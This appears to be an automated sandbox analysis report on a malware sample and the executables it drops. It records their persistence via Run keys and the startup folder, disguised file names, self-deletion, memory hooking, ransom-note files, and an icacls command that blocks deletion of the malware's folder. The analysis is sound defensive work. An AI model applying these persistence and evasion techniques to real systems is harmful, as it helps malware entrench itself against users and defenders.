                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeUnpacked PE file: 18.2.EE23.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cem:W;.tls:W;.yonisu:R;.falelu:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 23.2.EE23.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cem:W;.tls:W;.yonisu:R;.falelu:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 25.2.EE23.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cem:W;.tls:W;.yonisu:R;.falelu:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
                          Detected unpacking (overwrites its own PE header)
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeUnpacked PE file: 11.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 17.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeUnpacked PE file: 18.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 23.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeUnpacked PE file: 25.2.EE23.exe.400000.0.unpack
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeUnpacked PE file: 30.2.E5F3.exe.400000.0.unpack
                          .NET source code contains method to dynamically call methods (often used by packers)
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, EwV3ECxYhIse1SOarW.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, EwV3ECxYhIse1SOarW.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                          .NET source code contains potential unpacker
                          Source: 3EE1.exe.2.dr, Program.cs.Net Code: Counter System.AppDomain.Load(byte[])
                          Yara detected Costura Assembly Loader
                          Source: Yara matchFile source: 36.2.3EE1.exe.38c9e60.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 36.2.3EE1.exe.5160000.6.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 36.2.3EE1.exe.2791328.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 00000024.00000002.3148614338.0000000005160000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3122886847.00000000038C9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: 3EE1.exe PID: 5248, type: MEMORYSTR
                          Source: BA7B.exe.2.drStatic PE information: 0xB34BECC2 [Mon Apr 27 22:37:54 2065 UTC]
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00416540 LoadLibraryW,GetProcAddress,VirtualProtect,0_2_00416540
                          Source: initial sampleStatic PE information: section where entry point is pointing to: .[
                          Source: 3EE1.exe.2.drStatic PE information: real checksum: 0x0 should be: 0xf32ad
                          Source: sqlt[1].dll.21.drStatic PE information: real checksum: 0x0 should be: 0x263795
                          Source: qemu-ga.exe.30.drStatic PE information: real checksum: 0x0 should be: 0x2e82
                          Source: 78E8.exe.2.drStatic PE information: real checksum: 0x4111c5 should be: 0x48ea87
                          Source: KMPrEVaSfH.exeStatic PE information: section name: .vakeg
                          Source: KMPrEVaSfH.exeStatic PE information: section name: .fig
                          Source: KMPrEVaSfH.exeStatic PE information: section name: .fatixa
                          Source: EE23.exe.2.drStatic PE information: section name: .cem
                          Source: EE23.exe.2.drStatic PE information: section name: .yonisu
                          Source: EE23.exe.2.drStatic PE information: section name: .falelu
                          Source: BDBB.exe.2.drStatic PE information: section name: .vakeg
                          Source: BDBB.exe.2.drStatic PE information: section name: .fig
                          Source: BDBB.exe.2.drStatic PE information: section name: .fatixa
                          Source: 84F5.exe.2.drStatic PE information: section name: .ptt
                          Source: 84F5.exe.2.drStatic PE information: section name: .ptt
                          Source: 84F5.exe.2.drStatic PE information: section name: .[
                          Source: 84F5.exe.2.drStatic PE information: section name: .[
                          Source: 84F5.exe.2.drStatic PE information: section name: .[
                          Source: 78E8.exe.2.drStatic PE information: section name: .didat
                          Source: ubrawdb.2.drStatic PE information: section name: .vakeg
                          Source: ubrawdb.2.drStatic PE information: section name: .fig
                          Source: ubrawdb.2.drStatic PE information: section name: .fatixa
                          Source: EE23.exe.11.drStatic PE information: section name: .cem
                          Source: EE23.exe.11.drStatic PE information: section name: .yonisu
                          Source: EE23.exe.11.drStatic PE information: section name: .falelu
                          Source: sqlt[1].dll.21.drStatic PE information: section name: .00cfg
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004026D2 push ebx; ret 0_2_004026EA
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004026ED pushad ; ret 0_2_004026F4
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004026F7 push ebx; ret 0_2_00402714
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00402745 push edi; ret 0_2_0040276D
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0040273B push edi; ret 0_2_00402742
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00402595 push ss; ret 0_2_0040259C
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_004027BB push edi; ret 0_2_0040276D
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_00416E40 push ecx; mov dword ptr [esp], 000343F0h0_2_00416E41
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_0041AD7F push 3BFFFFFFh; retf 0_2_0041AD84
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D12822 push edi; ret 0_2_02D127D4
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D125FC push ss; ret 0_2_02D12603
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D127A2 push edi; ret 0_2_02D127A9
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D115A4 push AFD66869h; ret 0_2_02D115A9
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D127AC push edi; ret 0_2_02D127D4
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D12754 pushad ; ret 0_2_02D1275B
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D1275E push ebx; ret 0_2_02D1277B
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02D12739 push ebx; ret 0_2_02D12751
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E7E4E1 push AFD66869h; ret 0_2_02E7E4E6
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E7F5EE pushad ; iretd 0_2_02E7F5EF
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E7F6B0 push D23524A7h; retn 0006h0_2_02E7F6B8
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E84B91 push eax; iretd 0_2_02E84B92
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E84D79 push esi; iretd 0_2_02E84D7B
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E84D75 push ds; retf 0_2_02E84D77
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E84E37 push 4843A5D1h; retf 0_2_02E84E43
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E84E01 push ecx; retf 0_2_02E84E03
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004026D2 push ebx; ret 4_2_004026EA
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004026ED pushad ; ret 4_2_004026F4
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_004026F7 push ebx; ret 4_2_00402714
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00402745 push edi; ret 4_2_0040276D
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_0040273B push edi; ret 4_2_00402742
                          Source: C:\Users\user\AppData\Roaming\ubrawdbCode function: 4_2_00402595 push ss; ret 4_2_0040259C
                          Source: KMPrEVaSfH.exeStatic PE information: section name: .text entropy: 7.252995639283016
                          Source: EE23.exe.2.drStatic PE information: section name: .text entropy: 7.939309322433236
                          Source: BDBB.exe.2.drStatic PE information: section name: .text entropy: 7.252995639283016
                          Source: 3EE1.exe.2.drStatic PE information: section name: .text entropy: 7.761727682585555
                          Source: E5F3.exe.2.drStatic PE information: section name: .text entropy: 7.920066917213349
                          Source: ubrawdb.2.drStatic PE information: section name: .text entropy: 7.252995639283016
                          Source: EE23.exe.11.drStatic PE information: section name: .text entropy: 7.939309322433236
                          Source: build2.exe.18.drStatic PE information: section name: .text entropy: 7.530373064002527
                          Source: build2[1].exe.18.drStatic PE information: section name: .text entropy: 7.530373064002527
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, AesFastEngine.csHigh entropy of concatenated method names: 'NZsclarxpv', 'jIAcN9g0Rk', 'NV4cjhcMA9', 'GP3cetqvMa', 'sy4c83Ee0S', 'Init', 'GetBlockSize', 'ProcessBlock', 'Reset', 'i5UcR1ajqc'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, SchemaReaderSql.csHigh entropy of concatenated method names: 'GatherValue', 'RXD58jPSA', 'ReadContextTable', 'vkEspcdOE', 'ReadContextValue', 'SN8MtXHpM', 'Count', 'F7KpooRDC', 'mcnBUjFOq', 'WdpPOF9Bi'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, Schema27.csHigh entropy of concatenated method names: 'uMNhiBGKp7', 'oHUmr50J0BrPS0AZM6f', 'hYYTaL07r90rTiMfjWI', 'N74GnK0TXC5lKCRi3Xx', 'TreeObject2', 'TreeObject3', 'TreeObject4', 'q6Ux673MDOujxBXLHKF', 'HFEq993pDCgV1yBmQgB'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, Extembus.csHigh entropy of concatenated method names: 'xZ1hI5TNwb', 'tMmuQC0j5LIKcQFXqTI', 'o3I53l0e7IIwo4rdxFa', 'RF', 'RFAT', 'FindFileHandle', 'ReadLockedFile', 'ytOgekYDElRA8FECnji', 'epwaURYYfVOkDLSpcO5', 'LKDUAxYObM4pUCQX8lA'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, SystemInfoHelper.csHigh entropy of concatenated method names: 'epPaDmHCr0', 'JmYDgMrJoG2YoUuVebB', 'tkUvERr74RHcrlwjw3b', 'lburHHrT060t9FHatsJ', 'IokaQgAR8y', 'BB9a03OltT', 'f13arUGmSR', 'wnqaZOL1dk', 'kEGXPUrdIQVPJp2nJn8', 'e3VVpmrSuHNVMGrIMEq'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, DeviceMonitor.csHigh entropy of concatenated method names: 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'yxLw4v76H3', 'MYlQQ2OetxAsNn2L6hV', 'iv14Q1O8FBm0RGeOlbO', 'wEvQv1ORrr5U6Gt68Nu', 'CDBWlDOgosHx19RsFYj', 'Qt6pbPOF0TkFrl0BdJC'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, GetProcessHandles.csHigh entropy of concatenated method names: 'ReleaseHandle', 'Chn5MkrWq8SBLN6ixjm', 'tIHMeArh55WsmxtQGlt', 'ReleaseHandle', 'iAGqNOr3g7whWNFXXVj', 'BLciXbrYg1qC1LV2se1', 'cquhP14hHW', 'MEFOarrDvlHlVy83Kh8', 'bI9LDJrCcfwX5GQqNg8', 'wfyhm7gnAI'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, PM.csHigh entropy of concatenated method names: 'mSvGQwZ9Y9', 'g25G0VVXgf', 'BNHGruEZRb', 'Rp4GZPd0D2', 'w9jGVDDL9y', 'dITGLgC8pu', 'UtIGId1WBw', 'Wj3R59QNOdXDuaJ441j', 'EoMupyQjUXVuKphs8Hw', 'v4hGT0JeoQ'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, Schema20.csHigh entropy of concatenated method names: 'TreeObject1', 'RO6VJCpU3', 'TreeObject2', 'TreeObject3', 'TreeObject4', 'mjqLNxw3l', 'PwTIeNdHv', 'tNE2kraRcZtiojaWj3A', 'WIiriUagqObpjwiklns', 'aXe3iaaFqQoqZ5RGXm4'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, EwV3ECxYhIse1SOarW.csHigh entropy of concatenated method names: 'BPTavEfPI8', 'uVaa4GpUIk', 'u6YaUGQ5Rc', 't0UaRBG3Pj', 'pNJaQb5F9t', 'YcBaEMIBPc', 'dx0_000D_000A84_0086w_009Bc', 'nWN5m7K3Q', 'ReZxSxiJZ', 'kJmawSxbE'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, Sbw75OwLfnviPJQktxd.csHigh entropy of concatenated method names: 'DAww9KYJ6m', 'BSTw6PRRnt', 'VUJwKeMy4y', 'hIYwEZrKrN', 'khlwHV1qM5', 'Seow5aoO02', 'ERUwIgtlpp', 'dhGw7GVKQY', 'YswwTBKocl', 'aW3wJKgFUb'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, TuuOUMv5G27F6tY2Ly.csHigh entropy of concatenated method names: 'sOZb0yXku', 'Ohgkr2wSd', 'GjUXaTvh5', 'zw0n0TClF', 'syxze5qko', 'drHciDn49W', 'TVpccR4sC6', 'mQIcwN65JP', 'L3dc2KIVsx', 'oG5ctRiOUq'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, cXjfVHcQmqBciRZ0v9R.csHigh entropy of concatenated method names: 'k37c0dvqX8', 'D23cryLEjd', 'wWmcZh8ktX', 'yTBcVQ68Dg', 'zMpcL15J83', 'O1ZcI770bq', 'egQc7kWcEW', 'DGKcTOswpO', 'GPwcJavVVe', 'dQvc9iFHSa'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, AesFastEngine.csHigh entropy of concatenated method names: 'NZsclarxpv', 'jIAcN9g0Rk', 'NV4cjhcMA9', 'GP3cetqvMa', 'sy4c83Ee0S', 'Init', 'GetBlockSize', 'ProcessBlock', 'Reset', 'i5UcR1ajqc'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, SchemaReaderSql.csHigh entropy of concatenated method names: 'GatherValue', 'RXD58jPSA', 'ReadContextTable', 'vkEspcdOE', 'ReadContextValue', 'SN8MtXHpM', 'Count', 'F7KpooRDC', 'mcnBUjFOq', 'WdpPOF9Bi'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, DeviceMonitor.csHigh entropy of concatenated method names: 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'yxLw4v76H3', 'MYlQQ2OetxAsNn2L6hV', 'iv14Q1O8FBm0RGeOlbO', 'wEvQv1ORrr5U6Gt68Nu', 'CDBWlDOgosHx19RsFYj', 'Qt6pbPOF0TkFrl0BdJC'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, GetProcessHandles.csHigh entropy of concatenated method names: 'ReleaseHandle', 'Chn5MkrWq8SBLN6ixjm', 'tIHMeArh55WsmxtQGlt', 'ReleaseHandle', 'iAGqNOr3g7whWNFXXVj', 'BLciXbrYg1qC1LV2se1', 'cquhP14hHW', 'MEFOarrDvlHlVy83Kh8', 'bI9LDJrCcfwX5GQqNg8', 'wfyhm7gnAI'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, Schema20.csHigh entropy of concatenated method names: 'TreeObject1', 'RO6VJCpU3', 'TreeObject2', 'TreeObject3', 'TreeObject4', 'mjqLNxw3l', 'PwTIeNdHv', 'tNE2kraRcZtiojaWj3A', 'WIiriUagqObpjwiklns', 'aXe3iaaFqQoqZ5RGXm4'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, EwV3ECxYhIse1SOarW.csHigh entropy of concatenated method names: 'BPTavEfPI8', 'uVaa4GpUIk', 'u6YaUGQ5Rc', 't0UaRBG3Pj', 'pNJaQb5F9t', 'YcBaEMIBPc', 'dx0_000D_000A84_0086w_009Bc', 'nWN5m7K3Q', 'ReZxSxiJZ', 'kJmawSxbE'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, Sbw75OwLfnviPJQktxd.csHigh entropy of concatenated method names: 'DAww9KYJ6m', 'BSTw6PRRnt', 'VUJwKeMy4y', 'hIYwEZrKrN', 'khlwHV1qM5', 'Seow5aoO02', 'ERUwIgtlpp', 'dhGw7GVKQY', 'YswwTBKocl', 'aW3wJKgFUb'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, TuuOUMv5G27F6tY2Ly.csHigh entropy of concatenated method names: 'sOZb0yXku', 'Ohgkr2wSd', 'GjUXaTvh5', 'zw0n0TClF', 'syxze5qko', 'drHciDn49W', 'TVpccR4sC6', 'mQIcwN65JP', 'L3dc2KIVsx', 'oG5ctRiOUq'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, cXjfVHcQmqBciRZ0v9R.csHigh entropy of concatenated method names: 'k37c0dvqX8', 'D23cryLEjd', 'wWmcZh8ktX', 'yTBcVQ68Dg', 'zMpcL15J83', 'O1ZcI770bq', 'egQc7kWcEW', 'DGKcTOswpO', 'GPwcJavVVe', 'dQvc9iFHSa'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, AesFastEngine.csHigh entropy of concatenated method names: 'NZsclarxpv', 'jIAcN9g0Rk', 'NV4cjhcMA9', 'GP3cetqvMa', 'sy4c83Ee0S', 'Init', 'GetBlockSize', 'ProcessBlock', 'Reset', 'i5UcR1ajqc'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, SchemaReaderSql.csHigh entropy of concatenated method names: 'GatherValue', 'RXD58jPSA', 'ReadContextTable', 'vkEspcdOE', 'ReadContextValue', 'SN8MtXHpM', 'Count', 'F7KpooRDC', 'mcnBUjFOq', 'WdpPOF9Bi'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, DeviceMonitor.csHigh entropy of concatenated method names: 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'yxLw4v76H3', 'MYlQQ2OetxAsNn2L6hV', 'iv14Q1O8FBm0RGeOlbO', 'wEvQv1ORrr5U6Gt68Nu', 'CDBWlDOgosHx19RsFYj', 'Qt6pbPOF0TkFrl0BdJC'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, GetProcessHandles.csHigh entropy of concatenated method names: 'ReleaseHandle', 'Chn5MkrWq8SBLN6ixjm', 'tIHMeArh55WsmxtQGlt', 'ReleaseHandle', 'iAGqNOr3g7whWNFXXVj', 'BLciXbrYg1qC1LV2se1', 'cquhP14hHW', 'MEFOarrDvlHlVy83Kh8', 'bI9LDJrCcfwX5GQqNg8', 'wfyhm7gnAI'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, Schema20.csHigh entropy of concatenated method names: 'TreeObject1', 'RO6VJCpU3', 'TreeObject2', 'TreeObject3', 'TreeObject4', 'mjqLNxw3l', 'PwTIeNdHv', 'tNE2kraRcZtiojaWj3A', 'WIiriUagqObpjwiklns', 'aXe3iaaFqQoqZ5RGXm4'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.csHigh entropy of concatenated method names: 'BPTavEfPI8', 'uVaa4GpUIk', 'u6YaUGQ5Rc', 't0UaRBG3Pj', 'pNJaQb5F9t', 'YcBaEMIBPc', 'dx0_000D_000A84_0086w_009Bc', 'nWN5m7K3Q', 'ReZxSxiJZ', 'kJmawSxbE'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, Sbw75OwLfnviPJQktxd.csHigh entropy of concatenated method names: 'DAww9KYJ6m', 'BSTw6PRRnt', 'VUJwKeMy4y', 'hIYwEZrKrN', 'khlwHV1qM5', 'Seow5aoO02', 'ERUwIgtlpp', 'dhGw7GVKQY', 'YswwTBKocl', 'aW3wJKgFUb'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, TuuOUMv5G27F6tY2Ly.csHigh entropy of concatenated method names: 'sOZb0yXku', 'Ohgkr2wSd', 'GjUXaTvh5', 'zw0n0TClF', 'syxze5qko', 'drHciDn49W', 'TVpccR4sC6', 'mQIcwN65JP', 'L3dc2KIVsx', 'oG5ctRiOUq'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, cXjfVHcQmqBciRZ0v9R.csHigh entropy of concatenated method names: 'k37c0dvqX8', 'D23cryLEjd', 'wWmcZh8ktX', 'yTBcVQ68Dg', 'zMpcL15J83', 'O1ZcI770bq', 'egQc7kWcEW', 'DGKcTOswpO', 'GPwcJavVVe', 'dQvc9iFHSa'

                          Persistence and Installation Behavior

                          barindex
                          Drops PE files with benign system names
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeFile created: C:\Users\user\AppData\Roaming\svchost.exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\BDBB.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\E5F3.exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\EE23.exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\3EE1.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\build2[1].exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Roaming\ubrawdbJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\78E8.exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\BA7B.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeFile created: C:\Users\user\AppData\Roaming\svchost.exeJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Local\Temp\84F5.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dllJump to dropped file
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Roaming\ubrawdbJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\_README.txt
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\$WinREAgent\_README.txt
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\$WinREAgent\Scratch\_README.txt
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeFile created: C:\Users\user\_README.txt

                          Boot Survival

                          barindex
                          Creates multiple autostart registry keys
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
                          Drops PE files to the startup folder
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeJump to dropped file
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost
                          Source: C:\Users\user\AppData\Local\Temp\BA7B.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost

                          Hooking and other Techniques for Hiding and Protection

                          barindex
                          Deletes itself after installation
                          Source: C:\Windows\explorer.exeFile deleted: c:\users\user\desktop\kmprevasfh.exeJump to behavior
                          Hides that the sample has been downloaded from the Internet (zone.identifier)
                          Source: C:\Windows\explorer.exeFile opened: C:\Users\user\AppData\Roaming\ubrawdb:Zone.Identifier read attributes | deleteJump to behavior
                          Overwrites code with unconditional jumps - possibly settings hooks in foreign process
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 780005 value: E9 2B BA 73 76
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 76EBBA30 value: E9 DA 45 8C 89
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 13F0008 value: E9 8B 8E B1 75
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 76F08E90 value: E9 80 71 4E 8A
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 1750005 value: E9 8B 4D 32 74
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 75A74D90 value: E9 7A B2 CD 8B
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 1760005 value: E9 EB EB 32 74
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 75A8EBF0 value: E9 1A 14 CD 8B
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 1770005 value: E9 8B 8A 6E 74
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 75E58A90 value: E9 7A 75 91 8B
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 1780005 value: E9 2B 02 70 74
                          Source: C:\Users\user\AppData\Local\Temp\84F5.exeMemory written: PID: 4140 base: 75E80230 value: E9 DA FD 8F 8B
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,11_2_00481920
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
